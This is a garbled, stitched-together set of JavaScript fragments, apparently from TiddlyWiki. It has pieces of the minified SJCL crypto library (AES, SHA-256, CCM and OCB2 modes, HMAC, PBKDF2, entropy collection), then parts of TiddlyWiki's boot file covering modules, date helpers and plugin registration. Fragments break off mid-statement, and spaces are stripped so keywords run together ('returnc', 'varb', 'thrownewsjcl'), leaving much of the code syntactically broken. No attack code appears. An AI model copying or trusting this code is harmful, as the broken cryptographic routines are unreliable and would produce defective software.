function t(a,b,c){if(4!==b.length)throw new sjcl.exception.invalid("invalid aes block size");var d=a.b[c],e=b[0]^d[0],f=b[c?3:1]^d[1],g=b[2]^d[2];b=b[c?1:3]^d[3];var h,k,l,n=d.length/4-2,m,p=4,r=[0,0,0,0];h=a.s[c];a=h[0];var q=h[1],v=h[2],w=h[3],x=h[4];for(m=0;m<n;m++)h=a[e>>>24]^q[f>>16&255]^v[g>>8&255]^w[b&255]^d[p],k=a[f>>>24]^q[g>>16&255]^v[b>>8&255]^w[e&255]^d[p+1],l=a[g>>>24]^q[b>>16&255]^v[e>>8&255]^w[f&255]^d[p+2],b=a[b>>>24]^q[e>>16&255]^v[f>>8&255]^w[g&255]^d[p+3],p+=4,e=h,f=k,g=l;for(m=
if(0>h)throw new sjcl.exception.invalid("this isn't base64!");26<e?(e-=26,c.push(g^h>>>e),g=h<<32-e):(e+=6,g^=h<<32-e)}e&56&&c.push(sjcl.bitArray.partial(e&56,g,1));returnc}};sjcl.codec.base64url={fromBits:function(a){returnsjcl.codec.base64.fromBits(a,1,1)},toBits:function(a){returnsjcl.codec.base64.toBits(a,1)}};sjcl.hash.sha256=function(a){this.b[0]||this.O();a?(this.F=a.F.slice(0),this.A=a.A.slice(0),this.l=a.l):this.reset()};sjcl.hash.sha256.hash=function(a){return(newsjcl.hash.sha256).update(a).finalize()};
function u(a,b){var c,d,e,f=a.F,g=a.b,h=f[0],k=f[1],l=f[2],n=f[3],m=f[4],p=f[5],r=f[6],q=f[7];for(c=0;64>c;c++)16>c?d=b[c]:(d=b[c+1&15],e=b[c+14&15],d=b[c&15]=(d>>>7^d>>>18^d>>>3^d<<25^d<<14)+(e>>>17^e>>>19^e>>>10^e<<15^e<<13)+b[c&15]+b[c+9&15]|0),d=d+q+(m>>>6^m>>>11^m>>>25^m<<26^m<<21^m<<7)+(r^m&(p^r))+g[c],q=r,r=p,p=m,m=n+d|0,n=l,l=k,k=h,h=d+(k&l^n&(k^l))+(k>>>2^k>>>13^k>>>22^k<<30^k<<19^k<<10)|0;f[0]=f[0]+h|0;f[1]=f[1]+k|0;f[2]=f[2]+l|0;f[3]=f[3]+n|0;f[4]=f[4]+m|0;f[5]=f[5]+p|0;f[6]=f[6]+r|0;f[7]=
f[7]+q|0}
sjcl.mode.ccm={name:"ccm",G:[],listenProgress:function(a){sjcl.mode.ccm.G.push(a)},unListenProgress:function(a){a=sjcl.mode.ccm.G.indexOf(a);-1<a&&sjcl.mode.ccm.G.splice(a,1)},fa:function(a){varb=sjcl.mode.ccm.G.slice(),c;for(c=0;c<b.length;c+=1)b[c](a)},encrypt:function(a,b,c,d,e){varf,g=b.slice(0),h=sjcl.bitArray,k=h.bitLength(c)/8,l=h.bitLength(g)/8;e=e||64;d=d||[];if(7>k)throw new sjcl.exception.invalid("ccm: iv must be at least 7 bytes");for(f=2;4>f&&l>>>8*f;f++);f<15-k&&(f=15-k);c=h.clamp(c,
8*(15-f));b=sjcl.mode.ccm.V(a,b,c,d,e,f);g=sjcl.mode.ccm.C(a,g,c,b,e,f);return h.concat(g.data,g.tag)},decrypt:function(a,b,c,d,e){e=e||64;d=d||[];var f=sjcl.bitArray,g=f.bitLength(c)/8,h=f.bitLength(b),k=f.clamp(b,h-e),l=f.bitSlice(b,h-e),h=(h-e)/8;if(7>g)throw new sjcl.exception.invalid("ccm: iv must be at least 7 bytes");for(b=2;4>b&&h>>>8*b;b++);b<15-g&&(b=15-g);c=f.clamp(c,8*(15-b));k=sjcl.mode.ccm.C(a,k,c,l,e,b);a=sjcl.mode.ccm.V(a,k.data,c,d,e,b);if(!f.equal(k.tag,a))thrownewsjcl.exception.corrupt("ccm:tagdoesn'tmatch");
sjcl.mode.ocb2={name:"ocb2",encrypt:function(a,b,c,d,e,f){if(128!==sjcl.bitArray.bitLength(c))throw new sjcl.exception.invalid("ocb iv must be 128 bits");var g,h=sjcl.mode.ocb2.S,k=sjcl.bitArray,l=k.i,n=[0,0,0,0];c=h(a.encrypt(c));var m,p=[];d=d||[];e=e||64;for(g=0;g+4<b.length;g+=4)m=b.slice(g,g+4),n=l(n,m),p=p.concat(l(c,a.encrypt(l(c,m)))),c=h(c);m=b.slice(g);b=k.bitLength(m);g=a.encrypt(l(c,[0,0,0,b]));m=k.clamp(l(m.concat([0,0,0]),g),b);n=l(n,l(m.concat([0,0,0]),g));n=a.encrypt(l(n,l(c,h(c))));
d.length&&(n=l(n,f?d:sjcl.mode.ocb2.pmac(a,d)));return p.concat(k.concat(m,k.clamp(n,e)))},decrypt:function(a,b,c,d,e,f){if(128!==sjcl.bitArray.bitLength(c))throw new sjcl.exception.invalid("ocb iv must be 128 bits");e=e||64;var g=sjcl.mode.ocb2.S,h=sjcl.bitArray,k=h.i,l=[0,0,0,0],n=g(a.encrypt(c)),m,p,r=sjcl.bitArray.bitLength(b)-e,q=[];d=d||[];for(c=0;c+4<r/32;c+=4)m=k(n,a.decrypt(k(n,b.slice(c,c+4)))),l=k(l,m),q=q.concat(m),n=g(n);p=r-32*c;m=a.encrypt(k(n,[0,0,0,p]));m=k(m,h.clamp(b.slice(c),p).concat([0,
0,0]));l=k(l,m);l=a.encrypt(k(l,k(n,g(n))));d.length&&(l=k(l,f?d:sjcl.mode.ocb2.pmac(a,d)));if(!h.equal(h.clamp(l,e),h.bitSlice(b,r)))throw new sjcl.exception.corrupt("ocb: tag doesn't match");return q.concat(h.clamp(m,p))},pmac:function(a,b){var c,d=sjcl.mode.ocb2.S,e=sjcl.bitArray,f=e.i,g=[0,0,0,0],h=a.encrypt([0,0,0,0]),h=f(h,d(d(h)));for(c=0;c+4<b.length;c+=4)h=d(h),g=f(g,a.encrypt(f(h,b.slice(c,c+4))));c=b.slice(c);128>e.bitLength(c)&&(h=f(h,d(h)),c=e.concat(c,[-2147483648,0,0,0]));g=f(g,c);
sjcl.misc.hmac.prototype.encrypt=sjcl.misc.hmac.prototype.mac=function(a){if(this.aa)throw new sjcl.exception.invalid("encrypt on already updated hmac called!");this.update(a);return this.digest(a)};sjcl.misc.hmac.prototype.reset=function(){this.R=new this.W(this.w[0]);this.aa=!1};sjcl.misc.hmac.prototype.update=function(a){this.aa=!0;this.R.update(a)};sjcl.misc.hmac.prototype.digest=function(){var a=this.R.finalize(),a=(new this.W(this.w[1])).update(a).finalize();this.reset();return a};
sjcl.misc.pbkdf2=function(a,b,c,d,e){c=c||1E4;if(0>d||0>c)throw new sjcl.exception.invalid("invalid params to pbkdf2");"string"===typeof a&&(a=sjcl.codec.utf8String.toBits(a));"string"===typeof b&&(b=sjcl.codec.utf8String.toBits(b));e=e||sjcl.misc.hmac;a=new e(a);var f,g,h,k,l=[],n=sjcl.bitArray;for(k=1;32*l.length<(d||1);k++){e=f=a.encrypt(n.concat(b,[k]));for(g=1;g<c;g++)for(f=a.encrypt(f),h=0;h<f.length;h++)e[h]^=f[h];l=l.concat(e)}d&&(l=n.clamp(l,d));returnl};
(k=1);if(!k){if(void 0===b)for(c=b=0;c<a.length;c++)for(e=a[c];0<e;)b++,e=e>>>1;this.c[g].update([d,this.N++,2,b,f,a.length].concat(a))}break;case "string":void 0===b&&(b=a.length);this.c[g].update([d,this.N++,3,b,f,a.length]);this.c[g].update(a);break;default:k=1}if(k)throw new sjcl.exception.bug("random: addEntropy only supports number, array of numbers or string");this.m[g]+=b;this.f+=b;h===this.u&&(this.isReady()!==this.u&&A("seeded",Math.max(this.o,this.f)),A("progress",this.getProgress()))},
this.a.mouseCollector),document.detachEvent("keypress",this.a.keyboardCollector)),this.D=!1)},addEventListener:function(a,b){this.K[a][this.ga++]=b},removeEventListener:function(a,b){var c,d,e=this.K[a],f=[];for(d in e)e.hasOwnProperty(d)&&e[d]===b&&f.push(d);for(c=0;c<f.length;c++)d=f[c],deletee[d]},la:function(){C(this,1)},oa:function(a){varb,c;try{b=a.x||a.clientX||a.offsetX||0,c=a.y||a.clientY||a.offsetY||0}catch(d){c=b=0}0!=b&&0!=c&&this.addEntropy([b,c],2,"mouse");C(this,0)},qa:function(a){a=
function A(a,b){var c,d=sjcl.random.K[a],e=[];for(c in d)d.hasOwnProperty(c)&&e.push(d[c]);for(c=0;c<e.length;c++)e[c](b)}functionC(a,b){"undefined"!==typeofwindow&&window.performance&&"function"===typeofwindow.performance.now?a.addEntropy(window.performance.now(),b,"loadtime"):a.addEntropy((newDate).valueOf(),b,"loadtime")}functiony(a){a.b=z(a).concat(z(a));a.L=newsjcl.cipher.aes(a.b)}functionz(a){for(varb=0;4>b&&(a.h[b]=a.h[b]+1|0,!a.h[b]);b++);return a.L.encrypt(a.h)}
function B(a,b){return function(){b.apply(a,arguments)}}sjcl.random=new sjcl.prng(6);
else break a;sjcl.random.addEntropy(F,1024,"crypto['getRandomValues']")}}catch(a){"undefined"!==typeof window&&window.console&&(console.log("There was an error collecting entropy from the browser:"),console.log(a))}
b.mode&&sjcl.arrayBuffer&&sjcl.arrayBuffer.ccm&&b.ct instanceof ArrayBuffer?sjcl.arrayBuffer.ccm.decrypt(g,b.ct,b.iv,b.tag,f,b.ts):sjcl.mode[b.mode].decrypt(g,b.ct,b.iv,f,b.ts);e.g(d,b);d.key=a;return 1===c.raw?f:sjcl.codec.utf8String.fromBits(f)},decrypt:function(a,b,c,d){var e=sjcl.json;return e.ia(a,e.decode(b),c,d)},encode:function(a){var b,c="{",d="";for(b in a)if(a.hasOwnProperty(b)){if(!b.match(/^[a-z0-9]+$/i))throw new sjcl.exception.invalid("json encode: invalid property name");c+=d+'"'+
b+'":';d=",";switch(typeof a[b]){case "number":case "boolean":c+=a[b];break;case "string":c+='"'+escape(a[b])+'"';break;case "object":c+='"'+sjcl.codec.base64.fromBits(a[b],0)+'"';break;default:throw new sjcl.exception.bug("json encode: unsupported type");}}return c+"}"},decode:function(a){a=a.replace(/\s/g,"");if(!a.match(/^\{.*\}$/))throw new sjcl.exception.invalid("json decode: this isn't json!");a=a.replace(/^\{|\}$/g,"").split(/,/);var b={},c,d;for(c=0;c<a.length;c++){if(!(d=a[c].match(/^\s*(?:(["']?)([a-z][a-z0-9]*)\1)\s*:\s*(?:(-?\d+)|"([a-z0-9+\/%*_.@=\-]*)"|(true|false))$/i)))thrownewsjcl.exception.invalid("jsondecode:thisisn'tjson!");
null!=d[3]?b[d[2]]=parseInt(d[3],10):null!=d[4]?b[d[2]]=d[2].match(/^(ct|adata|salt|iv)$/)?sjcl.codec.base64.toBits(d[4]):unescape(d[4]):null!=d[5]&&(b[d[2]]="true"===d[5])}return b},g:function(a,b,c){void 0===a&&(a={});if(void 0===b)return a;for(var d in b)if(b.hasOwnProperty(d)){if(c&&void 0!==a[d]&&a[d]!==b[d])throw new sjcl.exception.invalid("required parameter overridden");a[d]=b[d]}return a},sa:function(a,b){var c={},d;for(d in a)a.hasOwnProperty(d)&&a[d]!==b[d]&&(c[d]=a[d]);return c},ra:function(a,
Information about each module is kept in an object with these members:
moduleType: type of module
definition: object, function or string defining the module; see below
exports: exports of the module, filled in after execution
The `definition` can be of several types:
* An object can be used to directly specify the exports of the module
* A function with the arguments `module,require,exports` that returns `exports`
* A string function body with the same arguments
Each moduleInfo object is stored in two hashmaps: $tw.modules.titles and $tw.modules.types. The first is indexed by title and the second is indexed by type and then title
*/
$tw.modules = {
titles: {}, // hashmap by module name of moduleInfo
types: {} // hashmap by module type and then name of moduleInfo
};
/*
Define a JavaScript tiddler module for later execution
moduleName: name of module being defined
moduleType: type of module
definition: module definition; see discussion above
The main boot kernel for TiddlyWiki. This single file creates a barebones TW environment that is just sufficient to bootstrap the modules containing the main logic of the application.
On the server this file is executed directly to boot TiddlyWiki. In the browser, this file is packed into a single HTML file.
\*/
var _boot = (function($tw) {
/*jslint node: true, browser: true */
/*global modules: false, $tw: false */
"use strict";
// Include bootprefix if we're not given module data
if(!$tw) {
$tw = require("./bootprefix.js").bootprefix();
}
$tw.utils = $tw.utils || Object.create(null);
/////////////////////////// Standard node.js libraries
promptMsg = ( $tw.language == undefined ? "Well, this is embarrassing. It is recommended that you restart TiddlyWiki by refreshing your browser" : $tw.language.getString("InternalJavaScriptError/Hint") );
Fill in any null or undefined properties of an object with the properties from a list of source objects. Each property that is an object is called recursively
Get the browser location.hash. We don't use location.hash because of the way that Firefox auto-urldecodes it (see http://stackoverflow.com/questions/1703552/encoding-of-window-location-hash)
*/
$tw.utils.getLocationHash = function() {
var href = window.location.href;
var idx = href.indexOf('#');
if(idx === -1) {
return "#";
} else if(idx <href.length-1&&href[idx+1]==='#'){
// Special case: ignore location hash if it itself starts with a #
return "#";
} else {
return href.substring(idx);
}
};
/*
Pad a string to a given length with "0"s. Length defaults to 2
*/
$tw.utils.pad = function(value,length) {
length = length || 2;
var s = value.toString();
if(s.length <length){
s = "000000000000000000000000000".substr(0,length - s.length) + s;
}
return s;
};
// Convert a date into UTC YYYYMMDDHHMMSSmmm format
$tw.utils.stringifyDate = function(value) {
return value.getUTCFullYear() +
$tw.utils.pad(value.getUTCMonth() + 1) +
$tw.utils.pad(value.getUTCDate()) +
$tw.utils.pad(value.getUTCHours()) +
$tw.utils.pad(value.getUTCMinutes()) +
$tw.utils.pad(value.getUTCSeconds()) +
$tw.utils.pad(value.getUTCMilliseconds(),3);
};
// Parse a date from a UTC YYYYMMDDHHMMSSmmm format string
$tw.utils.parseDate = function(value) {
if(typeof value === "string") {
var negative = 1;
if(value.charAt(0) === "-") {
negative = -1;
value = value.substr(1);
}
var year = parseInt(value.substr(0,4),10) * negative,
d = new Date(Date.UTC(year,
parseInt(value.substr(4,2),10)-1,
parseInt(value.substr(6,2),10),
parseInt(value.substr(8,2)||"00",10),
parseInt(value.substr(10,2)||"00",10),
parseInt(value.substr(12,2)||"00",10),
parseInt(value.substr(14,3)||"000",10)));
d.setUTCFullYear(year); // See https://stackoverflow.com/a/5870822
return d;
} else if($tw.utils.isDate(value)) {
return value;
} else {
return null;
}
};
// Stringify an array of tiddler titles into a list string
$tw.utils.stringifyList = function(value) {
if($tw.utils.isArray(value)) {
var result = new Array(value.length);
for(var t=0, l=value.length; t<l;t++){
var entry = value[t] || "";
if(entry.indexOf(" ") !== -1) {
result[t] = "[[" + entry + "]]";
} else {
result[t] = entry;
}
}
return result.join(" ");
} else {
return value || "";
}
};
// Parse a string array from a bracketted list. For example "OneTiddler [[Another Tiddler]] LastOne"
submitText: text to use for submit button (defaults to "Login")
serviceName: text of the human readable service name
noUserName: set true to disable username prompt
canCancel: set true to enable a cancel button (callback called with null)
repeatPassword: set true to prompt for the password twice
callback: function to be called on submission with parameter of object {username:,password:}. Callback must return `true` to remove the password prompt
Return an array of classes created from the modules of a specified type. Each module should export the properties to be added to those of the optional base class
Wiki constructor. State is stored in private members that only a small number of privileged accessor methods have direct access. Methods added via the prototype have to use these accessors and cannot access the state data directly.
options include:
enableIndexers - Array of indexer names to enable, or null to use all available indexers
*/
$tw.Wiki = function(options) {
options = options || {};
var self = this,
tiddlers = Object.create(null), // Hashmap of tiddlers
// Register the plugin tiddlers of a particular type, or null/undefined for any type, optionally restricting registration to an array of tiddler titles. Return the array of titles affected
self.unregisterPluginTiddlers(null,[title]); // Unregister the plugin if it's already registered
pluginTiddlers.push(tiddler);
registeredTitles.push(tiddler.fields.title);
}
}
};
if(titles) {
$tw.utils.each(titles,function(title) {
checkTiddler(self.getTiddler(title),title);
});
} else {
this.each(function(tiddler,title) {
checkTiddler(tiddler,title);
});
}
return registeredTitles;
};
// Unregister the plugin tiddlers of a particular type, or null/undefined for any type, optionally restricting unregistering to an array of tiddler titles. Returns an array of the titles affected
Enable safe mode by deleting any tiddlers that override a shadow tiddler
*/
$tw.Wiki.prototype.processSafeMode = function() {
var self = this,
overrides = [];
// Find the overriding tiddlers
this.each(function(tiddler,title) {
if(self.isShadowTiddler(title)) {
console.log(title);
overrides.push(title);
}
});
// Assemble a report tiddler
var titleReportTiddler = "TiddlyWiki Safe Mode",
report = [];
report.push("TiddlyWiki has been started in [[safe mode|https://tiddlywiki.com/static/SafeMode.html]]. All plugins are temporarily disabled. Most customisations have been disabled by renaming the following tiddlers:")
Decrypt any tiddlers stored within the element with the ID "encryptedArea". The function is asynchronous to allow the user to be prompted for a password
callback: function to be called the decryption is complete
// Storing encrypted tiddlers on the server isn't supported yet
callback();
};
} // End of if($tw.browser && !$tw.node)
/////////////////////////// Node definitions
if($tw.node) {
/*
Load the tiddlers contained in a particular file (and optionally extract fields from the accompanying .meta file) returned as {filepath:,type:,tiddlers:[],hasMetaFile:}
Load all the tiddlers recursively from a directory, including honouring `tiddlywiki.files` files for drawing in external files. Returns an array of {filepath:,type:,tiddlers: [{..fields...}],hasMetaFile:}. Note that no file information is returned for externally loaded tiddlers, just the `tiddlers` property.